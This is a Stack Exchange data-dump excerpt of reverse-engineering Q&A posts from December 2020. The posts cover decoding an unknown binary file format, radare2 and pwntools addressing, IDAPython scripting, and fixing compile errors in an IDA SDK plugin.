  <row Id="26496" PostTypeId="1" CreationDate="2020-12-09T19:24:43.530" Score="2" ViewCount="2670" Body="&lt;p&gt;I need some help and advice here. I'm self-learning how to reverse engineer a file content of an unknown format.&lt;/p&gt;&#xA;&lt;p&gt;Here's the content of two files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;E5 44 2A F9 1C 72 96 B9 CA B2 40 33 DA 19 B9 56 C4 5F E2 46 C4 A2 37 1C 6B A7 FF 6A 14 96 E6 53 5E 63 0D A3 01 65 65 BC C6 55 1B 90 C9 56 16 6A C9 B8 3D 05 0F E5 13 62 F0 22 6D C6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;DD 9F 44 2E C7 3D D2 31 48 3D 40 18 A8 D6 79 59 AE 31 6A E7 6C E2 92 6A A9 83 5A DC 64 56 34 1A 85 E7 2E 77 A9 34 32 29 61 4C A4 54 E1 76 6B C7 94 C0 FF 66 7F BC 1B A0 43 5C 83 87 19 1F AD AC 24 56 EE E4 87 9F BB 02 BD C1 35 ED F5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These two files are supposed to have the same information because I saved them with the same &amp;quot;visible&amp;quot; data from the user perspective (with just some seconds of difference between each saves).&lt;/p&gt;&#xA;&lt;p&gt;The readable data should have something like this string &amp;quot;1111111111111100&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Aditional one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;02 D6 AB D8 4B 18 19 C2 88 AF A7 4E 7D DD C1 27 E4 FC A4 32 83 44 32 32 E9 2C 26 00 F9 56 8F F7 57 DC C0 E4 BB B2 65 55 CF E3 14 21 9F 07 51 A6 C0 1D 1D 74 3C 92 76 5C BB BE BE A1 3D E0 C5 4D BD 21 DC 11 83 C8 2A FC 9F 46 56 A3 34 98 2B BE 53 05 55 EE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have the software that reads both files. I tried to change some values and I was able to get some descriptive errors, like &amp;quot;wrong version&amp;quot;, &amp;quot;wrong format&amp;quot;, &amp;quot;CRC error&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Is it compressed? Encrypted? Both?&lt;/p&gt;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="34935" LastEditorUserId="34935" LastEditDate="2020-12-09T19:38:35.227" LastActivityDate="2021-05-09T16:06:40.597" Title="Extracting the contents of an unknown file format" Tags="|file-format|decompress|binary-diagnosis|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26497" PostTypeId="1" CreationDate="2020-12-09T23:19:10.827" Score="2" ViewCount="280" Body="&lt;p&gt;in pwnlib there is a possibility to search for particular bytes, e.g. as follows for 0x66 byte:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;print(next(p.elf.search(b'f')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which in turn results in the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4195268&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Having this value it is possible to examine it as an address in radare2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pd 1 @ 4195268&#xA;&#xA;        0x004003c4      666c           insb byte [rdi], dx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it refers properly to a sequence of bytes containing desired 'f' (0x66).&#xA;However, this is neither a physical address nor a virtual one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400520]&amp;gt; ?v 4195268&#xA;        0x4003c4&#xA;[0x00400520]&amp;gt; ?p 4195268&#xA;        0x000003c4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I couldn't get it from radare2 directly. Instead, searching for bytes in r2 results in reference to virtual address, not to the value returned by ELF class from pwntools.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400520]&amp;gt; /x 66&#xA;&#xA;0x004003c4 hit10_0 66&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, what is it actually an address of? And how I can get the same value returned by pwntools in radare2?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="35201" LastActivityDate="2021-05-09T15:03:55.363" Title="Getting memory address of particular bytes in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26498" PostTypeId="2" ParentId="26487" CreationDate="2020-12-10T00:38:46.667" Score="3" Body="&lt;p&gt;In fact this is not as “trivial” as one might think.&lt;/p&gt;&#xA;&lt;p&gt;However there was a plug-in submitted to this year’s plug-in contest that &lt;em&gt;might&lt;/em&gt; work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/contests_details/contest2020/#ida_medigate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/contests_details/contest2020/#ida_medigate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/medigate-io/ida_medigate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/medigate-io/ida_medigate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-10T00:38:46.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26500" PostTypeId="1" CreationDate="2020-12-10T13:25:46.893" Score="2" ViewCount="770" Body="&lt;p&gt;I have string at address &lt;code&gt;0xaaaa&lt;/code&gt; that I want to know the address of function that use this string&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;len(list(idautils.XrefsTo(0xaaaa,1))) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;return 0&lt;/p&gt;&#xA;&lt;p&gt;Why is that ? When I tried this code with function address that work.&lt;/p&gt;&#xA;&lt;p&gt;So how can I find the &lt;strong&gt;address of function&lt;/strong&gt; that using string that located at &lt;code&gt;0xaaaa&lt;/code&gt; address?&lt;/p&gt;&#xA;" OwnerUserId="28889" LastEditorUserId="28889" LastEditDate="2020-12-10T13:41:55.537" LastActivityDate="2021-05-10T16:03:05.437" Title="Ida python find function address that using string" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26501" PostTypeId="2" ParentId="26497" CreationDate="2020-12-10T14:05:23.073" Score="2" Body="&lt;p&gt;working the whole time with hex values only makes one stupid.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x4003C4 -&amp;gt; 4195268 (dec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In radare2 you may access memory given in different numeral systems&lt;/p&gt;&#xA;" OwnerUserId="35201" LastActivityDate="2020-12-10T14:05:23.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26502" PostTypeId="2" ParentId="26496" CreationDate="2020-12-10T15:07:10.547" Score="2" Body="&lt;p&gt;I'll post this as an answer to techniques to reverse engineer an unknown file. Reverse engineering is not about just looking at binary data. It is a detective mystery. You need to gather clues and try to solve the mystery. Sometimes the clues are outside the binary data.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at the program generating the data. Look for places where you know the inputs and can collect the outputs.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the types of the inputs to the program? If they are strings, then you know there must be strings encoded.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a program which consumes the file? If so, change it by one bit. Does the changed file load? If it does not, that indicates you have an error detection code on in the file. If not, change the single bit in different locations and observe what happens when you load the file. This will help identify field boundaries in the file format.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the data produced always the same size, or does it vary? If it varies, that indicates there's some variable length or optional data in the format. Try to construct input which should produce the same sized output in the file. Test it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It looks like this is some sort of application for sports betting. This is actually the most useful piece of information for reverse engineering this file format. &lt;a href=&quot;http://www.foro1x2.com/viewtopic.php?t=103174&amp;amp;start=40&quot; rel=&quot;nofollow noreferrer&quot;&gt;I found some description of escrutador.exe here&lt;/a&gt; and an &lt;a href=&quot;https://www.megaquin1x2.com/img/esc98.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;image of the user interface&lt;/a&gt; here I believe. Sorry, I only speak english and I'm not up on sports and I'm not running a PC. It looks like there's some non-ascii characters in the images, so maybe the string types are unicode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hRDwU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hRDwU.jpg&quot; alt=&quot;Image of UI&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also in that forum I see someone has captured some XML. This doesn't mean that the file format is in any way related to the XML, but it gives us an idea of what we expect to be encoded in the file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/91iuI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/91iuI.png&quot; alt=&quot;xml of some related data&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I suggest you create a file which only has a single game between two teams with names 'red' and 'blue' and then look for both ascii and unicode encoded versions of those names in the file.&lt;/p&gt;&#xA;&lt;p&gt;Then create the same file with order of the two teams reversed. You should see the same byte patterns move positions in the binary file.&lt;/p&gt;&#xA;&lt;p&gt;Next, create a file which is identical to the first file, 'red' vs 'blue', but change 'blue' to 'green' for the team name. We should be able to find the bytes which correspond to 'red' and when we look for 'green' at the position of 'blue' we should find it.&lt;/p&gt;&#xA;&lt;p&gt;If we aren't seeing the bytes in the positions we expect, that would be a strong indicator of compression on the data.&lt;/p&gt;&#xA;&lt;p&gt;Does the name of the file end in .QUI?&lt;/p&gt;&#xA;&lt;p&gt;Maybe this is quickbasic? I see &lt;a href=&quot;http://www.foro1x2.com/viewtopic.php?p=2684134#p2684134&quot; rel=&quot;nofollow noreferrer&quot;&gt;some discussion on reading related data here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-10T15:45:43.137" LastActivityDate="2020-12-10T15:45:43.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26505" PostTypeId="2" ParentId="22435" CreationDate="2020-12-10T23:37:16.073" Score="1" Body="&lt;p&gt;I've found this project &lt;a href=&quot;https://github.com/lorf/csr-spi-ftdi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lorf/csr-spi-ftdi&lt;/a&gt;, along with info:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;BlueCore 2 chips (such as BC212015) are not supported in BlueSuite 2.4 and above&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;what means they are intentionally try to enforce developers to use more high level tools .&#xA;Above github tool should help you identify exact chip without disassembling physical device. I've checked the one above and found here: &lt;a href=&quot;https://www.chipfind.net/datasheet/csr/bc212015.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.chipfind.net/datasheet/csr/bc212015.htm&lt;/a&gt; The datasheet gives some meaningful info - it describes Bluecore2 virtual machine, and also mentions CSR’s BlueLab, Casira and MicroSira development kits which may be good direction for documentation search:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This version of the stack firmware requires no host processor. All&#xA;software layers, including application software, run on the internal&#xA;RISC processor in a protected user software execution environment&#xA;known as a Virtual Machine (VM).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The user may write custom application&#xA;code to run on the BlueCore VM using BlueLabTM software development&#xA;kit (SDK) supplied with the BlueLab and Casira development kits,&#xA;available separately from CSR. This code will then execute alongside&#xA;the main BlueCore firmware. The user is able to make calls to the&#xA;BlueCore firmware for various operations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The execution environment is&#xA;structured so the user application does not adversely affect the main&#xA;software routines, thus ensuring that the Bluetooth stack software&#xA;component does not need re-qualification when the application is&#xA;changed. Using the VM and the BlueLab SDK the user is able to develop&#xA;applications such as a cordless headset or other profiles without the&#xA;requirement of a host controller. BlueLab is supplied with example&#xA;code including a full implementation of the headset profile.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It looks like it will be hard do reverse code without understanding the architecture first:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Virtual Machine (VM). The firmware provides the VM environment in which to run &amp;gt;application-specific&#xA;code. Although the VM is mainly used with BlueLab and “RFCOMM builds” &amp;gt;&amp;gt;(alternative firmware builds&#xA;providing L2CAP, SDP and RFCOMM), the VM can be used with this build to perform &amp;gt;simple tasks such&#xA;as flashing LED’s via the chip’s PIO port.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also it mentions VM Application software is stored on external flash so depending what you are looking for that may be worth checking.&lt;/p&gt;&#xA;" OwnerUserId="14872" LastActivityDate="2020-12-10T23:37:16.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26506" PostTypeId="2" ParentId="10662" CreationDate="2020-12-11T04:52:01.890" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;SetColor&lt;/code&gt; API ether.&lt;br /&gt;&#xA;You should call &lt;code&gt;SetColor&lt;/code&gt; on every lines of the block, as it colors only one instruction line at a time.&lt;br /&gt;&#xA;&lt;br&gt;&#xA;Here is my IDAPython code example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ColoringBB(): &#xA;    flowchart = False &#xA;    tgt_ea = 0 &#xA;    startea = 0 &#xA;    endea = 0 &#xA;    addr_fc = 0&#xA;&#xA;    def __init__(self, addr_fc):&#xA;        self._set_fc_address(addr_fc)&#xA;        self._set_flowchart()&#xA;&#xA;    def _set_fc_address(self, addr_fc):&#xA;        self.addr_fc = addr_fc &#xA;&#xA;    def _set_flowchart(self):&#xA;        f = idaapi.get_func(self.addr_fc)&#xA;        self.flowchart = idaapi.FlowChart(f)&#xA;&#xA;    def coloring_bb(self, addr):&#xA;        self._set_bb_range(addr)&#xA;        for addr in range(self.startea, self.endea):&#xA;            idc.SetColor(addr, idc.CIC_ITEM, 0x8f8080) # olive&#xA;&#xA;    def _set_bb_range(self, addr):&#xA;        for block in self.flowchart:&#xA;            if block.startEA &amp;lt;= addr and block.endEA &amp;gt; addr:&#xA;                self.startea, self.endea = block.startEA, block.endEA&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Set the flowchart information before coloring the block.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;addr_fc = 0x8040DCF4 # set flow chart address&#xA;cb = ColoringBB(addr_fc)&#xA;&#xA;cb.coloring_bb(0x8040DD40) # color the block containing those address&#xA;cb.coloring_bb(0x8040DD34) # color the block containing those address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35211" LastEditorUserId="35211" LastEditDate="2020-12-11T05:04:59.460" LastActivityDate="2020-12-11T05:04:59.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26507" PostTypeId="2" ParentId="26500" CreationDate="2020-12-11T14:37:22.147" Score="2" Body="&lt;p&gt;From &lt;code&gt;idautils&lt;/code&gt; reference:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Parameters:&#xA;    ea - Reference address&#xA;    flags - one of ida_xref.XREF_ALL (default), ida_xref.XREF_FAR, ida_xref.XREF_DATA &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Strings are usually (precisely always, unless some crazy binary editing comes into play) stored in the data segment, so you can try the data segment flag (&lt;code&gt;ida_xref.XREF_DATA&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="35139" LastActivityDate="2020-12-11T14:37:22.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26508" PostTypeId="1" AcceptedAnswerId="26518" CreationDate="2020-12-11T14:37:45.353" Score="1" ViewCount="556" Body="&lt;p&gt;I like to view the path between 2 functions with IDA 7.0.&lt;/p&gt;&#xA;&lt;p&gt;I have already tried with &amp;quot;function browser&amp;quot; but not work becouse these 2 functions are not linked.&lt;/p&gt;&#xA;&lt;p&gt;For what I see there is no way to choose multiple functions and see their position in the graph.&lt;/p&gt;&#xA;&lt;p&gt;There is a way with IDA or other software to show the path between multiple functions ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="60" LastEditDate="2020-12-12T16:48:48.050" LastActivityDate="2020-12-12T16:48:48.050" Title="IDA how to view path between 2 functions" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26509" PostTypeId="1" CreationDate="2020-12-11T14:44:41.760" Score="2" ViewCount="88" Body="&lt;p&gt;Im quite new to javascript and sometimes I find it really hard to find what object a keyword 'this' refers to. Is there a code editor that is able to do that for me? Or any other advice that could help me :)&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="35214" LastActivityDate="2021-05-12T03:06:15.647" Title="automatically find the object &quot;this&quot; refers to in js" Tags="|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26510" PostTypeId="2" ParentId="26508" CreationDate="2020-12-11T14:54:13.877" Score="0" Body="&lt;p&gt;Go to the function you know or assume to be higher on the call stack, select the function name and press &lt;code&gt;X&lt;/code&gt; or right-click-&amp;gt;&lt;code&gt;'Jump to xref...'&lt;/code&gt; for a list of &lt;strong&gt;direct&lt;/strong&gt; references. To look for a given function, do that recursively for all the references from the list. A more time-saving method though would be setting two breakpoints in a debugger and logging all the in-between callers.&lt;/p&gt;&#xA;" OwnerUserId="35139" LastActivityDate="2020-12-11T14:54:13.877" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26511" PostTypeId="2" ParentId="26509" CreationDate="2020-12-11T15:06:36.983" Score="1" Body="&lt;p&gt;There's a &lt;a href=&quot;https://www.w3schools.com/js/js_this.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;great resource on W3Schools&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In summary:&lt;/p&gt;&#xA;&lt;p&gt;It (this) has different values depending on where it is used:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In a method, &lt;strong&gt;this&lt;/strong&gt; refers to the owner object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alone, &lt;strong&gt;this&lt;/strong&gt; refers to the global object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a function, &lt;strong&gt;this&lt;/strong&gt; refers to the global object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a function, in strict mode, &lt;strong&gt;this&lt;/strong&gt; is undefined.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In an event, &lt;strong&gt;this&lt;/strong&gt; refers to the element that received the event.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Methods like call(), and apply() can refer &lt;strong&gt;this&lt;/strong&gt; to any object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Answered with regard to &lt;a href=&quot;https://stackoverflow.com/questions/3179861/javascript-get-function-body&quot;&gt;getting function name here&lt;/a&gt; and with regard to &lt;a href=&quot;https://stackoverflow.com/questions/2648293/how-to-get-the-function-name-from-within-that-function&quot;&gt;getting function body here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-13T01:44:23.103" LastActivityDate="2020-12-13T01:44:23.103" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26512" PostTypeId="1" CreationDate="2020-12-11T17:32:40.097" Score="3" ViewCount="1277" Body="&lt;p&gt;Hello all and sorry for my bad English&lt;/p&gt;&#xA;&lt;p&gt;I am trying to test an example for developing plugin in C++ with IDA from the book :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.binarypool.com/idapluginwriting/idapw.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.binarypool.com/idapluginwriting/idapw.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am using Visual c++ 2019.&lt;/p&gt;&#xA;&lt;p&gt;The plugin example source is :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;ida.hpp&amp;gt;&#xA;#include &amp;lt;idp.hpp&amp;gt;&#xA;#include &amp;lt;loader.hpp&amp;gt;&#xA;&#xA;&#xA;int IDAP_init(void)&#xA;{&#xA;    // Do checks here to ensure your plug-in is being used within&#xA;    // an environment it was written for. Return PLUGIN_SKIP if the&#xA;    // checks fail, otherwise return PLUGIN_KEEP.&#xA;    return PLUGIN_KEEP;&#xA;}&#xA;&#xA;void IDAP_term(void)&#xA;{&#xA;    // Stuff to do when exiting, generally you'd put any sort&#xA;    // of clean-up jobs here.&#xA;    return;&#xA;}&#xA;&#xA;// The plugin can be passed an integer argument from the plugins.cfg&#xA;// file. This can be useful when you want the one plug-in to do&#xA;// something different depending on the hot-key pressed or menu&#xA;// item selected.&#xA;void IDAP_run(int arg)&#xA;{&#xA;    // The &amp;quot;meat&amp;quot; of your plug-in&#xA;    msg(&amp;quot;Hello world!&amp;quot;);&#xA;    return;&#xA;}&#xA;// There isn't much use for these yet, but I set them anyway.&#xA;char IDAP_comment[] = &amp;quot;This is my test plug-in&amp;quot;;&#xA;char IDAP_help[] = &amp;quot;My plugin&amp;quot;;&#xA;&#xA;// The name of the plug-in displayed in the Edit-&amp;gt;Plugins menu. It can&#xA;// be overridden in the user's plugins.cfg file.&#xA;char IDAP_name[] = &amp;quot;My plugin&amp;quot;;&#xA;&#xA;// The hot-key the user can use to run your plug-in.&#xA;char IDAP_hotkey[] = &amp;quot;Alt-X&amp;quot;;&#xA;&#xA;// The all-important exported PLUGIN object&#xA;&#xA;plugin_t PLUGIN =&#xA;{&#xA;    IDP_INTERFACE_VERSION, // IDA version plug-in is written for&#xA;    0, // Flags (see below)&#xA;    IDAP_init, // Initialisation function&#xA;    IDAP_term, // Clean-up function&#xA;    IDAP_run, // Main plug-in body&#xA;    IDAP_comment, // Comment – unused&#xA;    IDAP_help, // As above – unused&#xA;    IDAP_name, // Plug-in name shown in&#xA;    // Edit-&amp;gt;Plugins menu&#xA;    IDAP_hotkey // Hot key to run the plug-in&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When compiling, I got 2 errors :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Error C2440 'initializing': cannot convert from 'int (__cdecl *)(void)' to 'plugmod_t *(__cdecl *)(void)'   Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\main.cpp  48  &#xA;Error C2440 'initializing': cannot convert from 'void (__cdecl *)(int)' to 'bool (__cdecl *)(size_t)'   Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\main.cpp  50  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wq2Sf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wq2Sf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found nothing about that on the Net... Can someone give me an idea of what is going wrong ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks you very much.&lt;/p&gt;&#xA;&lt;p&gt;I have used the informations given in the readme.txt to configure VC++ :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;How to set up Visual C++ 2017 for IDA Plugins&#xA;---------------------------------------------&#xA;&#xA;This guide will help you set up a Visual C++ project that targets both ida32 and ida64 plugins.&#xA;Remember that, even though ida32 is used to work on 32-bit files, it is also an x64 application.&#xA;Therefore, both plugins (ida32 and ida64) must be built for the x64 platform.&#xA;&#xA;1. File | New | Project From Existing Code...&#xA;&#xA;2. What type of project would you like to create: Visual C++&#xA;   &amp;lt;next&amp;gt;&#xA;&#xA;3. Project file location: &amp;lt;folder where you have your files&amp;gt;&#xA;   Project name: &amp;lt;your plugin's name&amp;gt;&#xA;   &amp;lt;finish&amp;gt;&#xA;&#xA;Once the project is initialized, right-click on the project name and pick Properties.&#xA;&#xA;4. Configuration Manager...&#xA;     Active solution platform: select &amp;quot;x64&amp;quot;&#xA;   &amp;lt;Close&amp;gt;&#xA;&#xA;5. General | Project Defaults | Configuration Type&#xA;     Dynamic Library (.dll)&#xA;   &amp;lt;apply&amp;gt;&#xA;&#xA;6. C/C++ | General | Additional Include Directories&#xA;     Enter the SDK's include folder in &amp;quot;Include search paths (/I)&amp;quot;: eg. C:\idasdk\include;&#xA;   &amp;lt;apply&amp;gt;&#xA;&#xA;7. C/C++ | Code Generation | Runtime library (visible only after you add one .cpp file to the project)&#xA;     Multi-threaded DLL (/MD)&#xA;   &amp;lt;apply&amp;gt;&#xA;&#xA;8. Linker | Command Line | Additional options&#xA;     - for processor modules: /EXPORT:LPH&#xA;     - for plugins: /EXPORT:PLUGIN&#xA;     - for loaders: /EXPORT:LDSC&#xA;   &amp;lt;apply&amp;gt;&#xA;&#xA;The steps above constituted the common configuration for both ida32 and ida64 configurations.&#xA;&#xA;We will now create the separate configurations.&#xA;&#xA;9. Still under &amp;quot;Configuration Manager...&amp;quot;&#xA;&#xA;     - under the &amp;quot;Configuration&amp;quot; column, click on &amp;quot;Debug&amp;quot;&#xA;     - click &amp;quot;&amp;lt;Edit...&amp;gt;&amp;quot;&#xA;     - click &amp;quot;Rename&amp;quot;&#xA;     - add an &amp;quot;ida32&amp;quot; prefix to the configuration name, such as &amp;quot;ida32 Debug&amp;quot;&#xA;     - &amp;lt;Enter&amp;gt;&#xA;     - &amp;lt;Yes&amp;gt;&#xA;     - &amp;lt;Close&amp;gt;&#xA;&#xA;     - under &amp;quot;Active solution configuration&amp;quot;, click on &amp;quot;Debug&amp;quot;&#xA;     - click &amp;quot;&amp;lt;Edit...&amp;gt;&amp;quot;&#xA;     - click &amp;quot;Rename&amp;quot;&#xA;     - add an &amp;quot;ida32&amp;quot; prefix to the configuration name, such as &amp;quot;ida32 Debug&amp;quot;&#xA;     - &amp;lt;Enter&amp;gt;&#xA;     - &amp;lt;Yes&amp;gt;&#xA;     - &amp;lt;Close&amp;gt;&#xA;&#xA;     - under &amp;quot;Active solution configuration&amp;quot;, click on the new configuration name &amp;quot;ida32 Debug&amp;quot;&#xA;     - click &amp;quot;&amp;lt;New...&amp;gt;&amp;quot;&#xA;     - use a similar name, but with the &amp;quot;ida64&amp;quot; prefix, such as &amp;quot;ida64 Debug&amp;quot;&#xA;     - Copy settings from: &amp;quot;ida32 Debug&amp;quot;&#xA;     - &amp;lt;Ok&amp;gt;&#xA;     - &amp;lt;Close&amp;gt;&#xA;&#xA;In the &amp;quot;Property Page&amp;quot;, under &amp;quot;Configuration&amp;quot;, select &amp;quot;ida32 Debug&amp;quot;.&#xA;&#xA;10. Debugging | Command&#xA;      - for ida32: C:\Program Files\IDA 7.2\ida.exe&#xA;      - for ida64: C:\Program Files\IDA 7.2\ida64.exe&#xA;    &amp;lt;apply&amp;gt;&#xA;&#xA;11. C/C++ | Preprocessor | Preprocessor Definitions&#xA;      - for ida32: __NT__;&#xA;      - for ida64: __NT__;__EA64__;&#xA;    &amp;lt;apply&amp;gt;&#xA;&#xA;12. Linker | General | Output File:&#xA;      - for ida32: $(OutDir)\$(ProjectName).dll&#xA;      - for ida64: $(OutDir)\$(ProjectName)64.dll&#xA;    &amp;lt;apply&amp;gt;&#xA;&#xA;13. Linker | Input | Additional Dependencies&#xA;      - for ida32: C:\idasdk\lib\x64_win_vc_32\ida.lib&#xA;      - for ida64: C:\idasdk\lib\x64_win_vc_64\ida.lib&#xA;    &amp;lt;apply&amp;gt;&#xA;&#xA;In the &amp;quot;Property Page&amp;quot;, under &amp;quot;Configuration&amp;quot;, select &amp;quot;ida64 Debug&amp;quot; and repeat the last three steps.&#xA;&#xA;&#xA;You should now be capable to easily switch between the &amp;quot;ida32 Debug&amp;quot; and &amp;quot;ida64 Debug&amp;quot; configurations and build your project.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35098" LastEditorUserId="245" LastEditDate="2023-02-02T20:39:02.940" LastActivityDate="2023-02-02T20:39:02.940" Title="IDA plugin with visual studio c++ 2019" Tags="|ida-plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
